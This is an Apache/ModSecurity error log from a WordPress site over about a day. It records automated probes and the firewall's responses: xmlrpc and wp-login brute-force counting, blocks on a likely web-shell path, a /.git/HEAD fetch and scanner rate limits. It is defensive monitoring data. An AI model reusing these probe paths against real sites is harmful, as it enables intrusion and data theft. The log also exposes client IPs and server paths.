[Thu May 21 15:21:59.737108 2026] [:error] [pid 49879:tid 49927] [client 101.33.66.34:45660] [client 101.33.66.34] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ag6yl4VqYDjFSyG2gFpIIAAAAEc"]
[Thu May 21 15:46:03.259732 2026] [:error] [pid 49982:tid 49991] [client 1.55.254.54:51557] [client 1.55.254.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 1.55.254.54, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag64O2FwIDa5Tf8O4ba56AAAAMc"]
[Thu May 21 15:46:13.557974 2026] [:error] [pid 49884:tid 49948] [client 1.55.254.54:26559] [client 1.55.254.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 1.55.254.54, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag64Ra5MPpsTNNHWS6iJoAAAAIE"]
[Thu May 21 15:46:24.267183 2026] [:error] [pid 49877:tid 49907] [client 1.55.254.54:12280] [client 1.55.254.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 1.55.254.54, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag64UBgN4MeSe4kIL9AopQAAABM"]
[Thu May 21 15:46:34.885825 2026] [:error] [pid 49879:tid 49926] [client 1.55.254.54:11998] [client 1.55.254.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 1.55.254.54, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag64WoVqYDjFSyG2gFpKxwAAAEY"]
[Thu May 21 15:46:45.592816 2026] [:error] [pid 49982:tid 49984] [client 1.55.254.54:18121] [client 1.55.254.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 1.55.254.54, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag64ZWFwIDa5Tf8O4ba6OAAAAMA"]
[Thu May 21 15:46:56.235539 2026] [:error] [pid 49982:tid 50007] [client 1.55.254.54:35832] [client 1.55.254.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 1.55.254.54, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag64cGFwIDa5Tf8O4ba6VAAAANc"]
[Thu May 21 18:39:33.594733 2026] [:error] [pid 49982:tid 50008] [client 209.141.56.175:11983] [client 209.141.56.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.141.56.175, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ag7g5WFwIDa5Tf8O4bbiZQAAANg"]
[Thu May 21 18:42:03.060166 2026] [:error] [pid 51613:tid 51617] [client 209.141.56.175:33151] [client 209.141.56.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.141.56.175, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ag7he2bP0MDvqrVnwerzOQAAAQI"]
[Thu May 21 18:49:10.751748 2026] [:error] [pid 49884:tid 49958] [client 43.165.7.74:35558] [client 43.165.7.74] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ag7jJq5MPpsTNNHWS6jF5wAAAIs"]
[Thu May 21 19:10:52.078765 2026] [:error] [pid 49884:tid 49960] [client 43.161.251.162:33226] [client 43.161.251.162] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ag7oPK5MPpsTNNHWS6jMkAAAAI0"]
[Thu May 21 20:15:15.643774 2026] [:error] [pid 49884:tid 49953] [client 49.47.240.145:50464] [client 49.47.240.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.47.240.145, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag73U65MPpsTNNHWS6jgUQAAAIY"]
[Thu May 21 20:15:26.107312 2026] [:error] [pid 9189:tid 9220] [client 49.47.240.145:51112] [client 49.47.240.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.47.240.145, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag73XpvTDh1NbYizKVy1OAAAAgE"]
[Thu May 21 20:15:36.756321 2026] [:error] [pid 49884:tid 49971] [client 49.47.240.145:51480] [client 49.47.240.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.47.240.145, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag73aK5MPpsTNNHWS6jgagAAAJg"]
[Thu May 21 20:15:47.097877 2026] [:error] [pid 9188:tid 9205] [client 49.47.240.145:51825] [client 49.47.240.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.47.240.145, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag73c7GYm6q5dNSUvA_ksgAAAc0"]
[Thu May 21 20:15:57.696047 2026] [:error] [pid 9157:tid 9180] [client 49.47.240.145:52168] [client 49.47.240.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.47.240.145, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag73fcGfHcLNqE8m88KRqQAAAZU"]
[Thu May 21 20:16:08.296400 2026] [:error] [pid 49982:tid 50001] [client 49.47.240.145:52514] [client 49.47.240.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.47.240.145, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ag73iGFwIDa5Tf8O4bb4agAAANE"]
[Thu May 21 21:28:01.381211 2026] [:error] [pid 49884:tid 49955] [client 101.42.46.71:39544] [client 101.42.46.71] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ag8IYa5MPpsTNNHWS6j5FgAAAIg"]
[Thu May 21 21:30:27.847186 2026] [:error] [pid 49884:tid 49950] [client 45.131.195.173:27071] [client 45.131.195.173] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/buttons.css"] [unique_id "ag8I865MPpsTNNHWS6j5hwAAAIM"]
[Thu May 21 23:24:10.204853 2026] [:error] [pid 49884:tid 49969] [client 34.150.255.112:63936] [client 34.150.255.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ag8jmq5MPpsTNNHWS6gXggAAAJY"]
[Thu May 21 23:24:10.638576 2026] [:error] [pid 49884:tid 49961] [client 34.150.255.112:56653] [client 34.150.255.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ag8jmq5MPpsTNNHWS6gX8QAAAI4"]
[Thu May 21 23:24:11.065072 2026] [:error] [pid 9188:tid 9211] [client 34.150.255.112:49946] [client 34.150.255.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "ag8jm7GYm6q5dNSUvA__MgAAAdM"]
[Fri May 22 02:22:16.206444 2026] [autoindex:error] [pid 9157:tid 9175] [client 20.187.75.110:2163] AH01276: Cannot serve directory /home/rcacivils/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri May 22 02:22:27.164455 2026] [:error] [pid 9157:tid 9169] [client 20.187.75.110:2163] [client 20.187.75.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-t.api.php"] [unique_id "ag9NY8GfHcLNqE8m88K_jwAAAYo"]
[Fri May 22 02:22:27.732455 2026] [:error] [pid 49877:tid 49888] [client 20.187.75.110:3469] [client 20.187.75.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-t.api.php"] [unique_id "ag9NYxgN4MeSe4kIL9BbcgAAAAA"]
[Fri May 22 02:22:28.216619 2026] [:error] [pid 9188:tid 9201] [client 20.187.75.110:2170] [client 20.187.75.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-t.api.php"] [unique_id "ag9NZLGYm6q5dNSUvA8TvQAAAck"]
[Fri May 22 02:22:28.761920 2026] [:error] [pid 9189:tid 9242] [client 20.187.75.110:2047] [client 20.187.75.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-t.api.php"] [unique_id "ag9NZJvTDh1NbYizKVzqVwAAAhc"]
[Fri May 22 02:36:51.220392 2026] [:error] [pid 9189:tid 9221] [client 43.157.149.188:53280] [client 43.157.149.188] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ag9Qw5vTDh1NbYizKVzrLAAAAgI"]
[Fri May 22 03:01:24.263771 2026] [:error] [pid 9188:tid 9207] [client 209.141.58.150:50833] [client 209.141.58.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.141.58.150, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ag9WhLGYm6q5dNSUvA8XzwAAAc8"]
[Fri May 22 03:02:51.978054 2026] [autoindex:error] [pid 38463:tid 38662] [client 144.91.88.114:60293] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri May 22 03:05:42.274108 2026] [:error] [pid 9189:tid 9226] [client 209.141.58.150:58983] [client 209.141.58.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.141.58.150, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ag9XhpvTDh1NbYizKVzuFwAAAgc"]
[Fri May 22 04:03:47.120784 2026] [autoindex:error] [pid 49480:tid 49495] [client 20.78.148.25:13593] AH01276: Cannot serve directory /home/rcacivils/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri May 22 04:03:57.898929 2026] [:error] [pid 49480:tid 49483] [client 20.78.148.25:13593] [client 20.78.148.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-t.api.php"] [unique_id "ag9lLc7gnnlW660htkYWZQAAAME"]
[Fri May 22 04:03:58.381123 2026] [:error] [pid 49480:tid 49489] [client 20.78.148.25:12646] [client 20.78.148.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-t.api.php"] [unique_id "ag9lLs7gnnlW660htkYWaAAAAMc"]
[Fri May 22 04:03:58.909029 2026] [:error] [pid 49480:tid 49484] [client 20.78.148.25:15435] [client 20.78.148.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-t.api.php"] [unique_id "ag9lLs7gnnlW660htkYWawAAAMI"]
[Fri May 22 04:03:59.417602 2026] [:error] [pid 49480:tid 49482] [client 20.78.148.25:15456] [client 20.78.148.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-t.api.php"] [unique_id "ag9lL87gnnlW660htkYWbQAAAMA"]
[Fri May 22 07:08:40.019727 2026] [autoindex:error] [pid 15583:tid 15595] [client 194.163.140.214:65213] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri May 22 07:30:02.158417 2026] [autoindex:error] [pid 15583:tid 15605] [client 31.220.81.161:52565] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri May 22 07:42:12.967527 2026] [:error] [pid 58782:tid 58797] [client 43.133.253.253:49998] [client 43.133.253.253] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ag-YVIxsdTFafgO8vhS3vgAAAQ0"]
[Fri May 22 08:35:49.377717 2026] [:error] [pid 15583:tid 15599] [client 62.84.185.56:26750] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "ag-k5XnaOncRcIm17YWSbQAAAAs"]
[Fri May 22 08:35:54.059751 2026] [:error] [pid 15585:tid 15665] [client 62.84.185.56:26780] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "ag-k6iKb-vB41AF-LC17VgAAAJI"]
[Fri May 22 09:03:52.700436 2026] [:error] [pid 15583:tid 15603] [client 111.230.233.46:37582] [client 111.230.233.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ag-reHnaOncRcIm17YWclAAAAA8"]
[Fri May 22 09:51:17.131491 2026] [:error] [pid 15585:tid 15667] [client 143.110.218.162:59383] [client 143.110.218.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.110.218.162, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ag-2lSKb-vB41AF-LC2lNwAAAJQ"]
[Fri May 22 09:51:18.765035 2026] [:error] [pid 15679:tid 15688] [client 143.110.218.162:58645] [client 143.110.218.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.110.218.162, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ag-2lih8tgGc38WJ-Gy1GwAAAMc"]
[Fri May 22 10:40:02.470857 2026] [:error] [pid 15585:tid 15647] [client 165.22.112.133:56447] [client 165.22.112.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.22.112.133, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ag_CAiKb-vB41AF-LC21xAAAAIA"]
[Fri May 22 10:40:04.274320 2026] [:error] [pid 58813:tid 58826] [client 165.22.112.133:56678] [client 165.22.112.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.22.112.133, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ag_CBJ6yyKWDKULhxJ0powAAAUo"]
[Fri May 22 11:32:34.183033 2026] [:error] [pid 58782:tid 58801] [client 165.22.112.133:56296] [client 165.22.112.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.22.112.133, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ag_OUoxsdTFafgO8vhTctAAAARE"]
[Fri May 22 11:36:10.872348 2026] [:error] [pid 15679:tid 15694] [client 165.22.112.133:59596] [client 165.22.112.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.22.112.133, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ag_PKih8tgGc38WJ-GzRLwAAAM0"]
[Fri May 22 11:39:07.354754 2026] [:error] [pid 15679:tid 15684] [client 165.22.112.133:62211] [client 165.22.112.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.22.112.133, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ag_P2yh8tgGc38WJ-GzRmgAAAMM"]
[Fri May 22 11:54:39.396141 2026] [:error] [pid 15585:tid 15664] [client 43.156.125.227:45690] [client 43.156.125.227] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ag_TfyKb-vB41AF-LC3SRwAAAJE"]
[Fri May 22 14:26:42.696312 2026] [:error] [pid 15585:tid 15670] [client 45.130.203.168:37959] [client 45.130.203.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/HEAD"] [unique_id "ag_3IiKb-vB41AF-LC0MuAAAAJc"]
[Fri May 22 14:32:03.756917 2026] [:error] [pid 15679:tid 15694] [client 20.205.110.7:4161] [client 20.205.110.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.205.110.7, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ag_4Yyh8tgGc38WJ-GwEWgAAAM0"]
[Fri May 22 15:27:46.562695 2026] [:error] [pid 58813:tid 58837] [client 205.185.123.198:49847] [client 205.185.123.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 205.185.123.198, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ahAFcp6yyKWDKULhxJ1bGQAAAVU"]
[Fri May 22 15:29:33.711514 2026] [:error] [pid 15585:tid 15669] [client 205.185.123.198:60650] [client 205.185.123.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 205.185.123.198, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ahAF3SKb-vB41AF-LC0jxQAAAJY"]
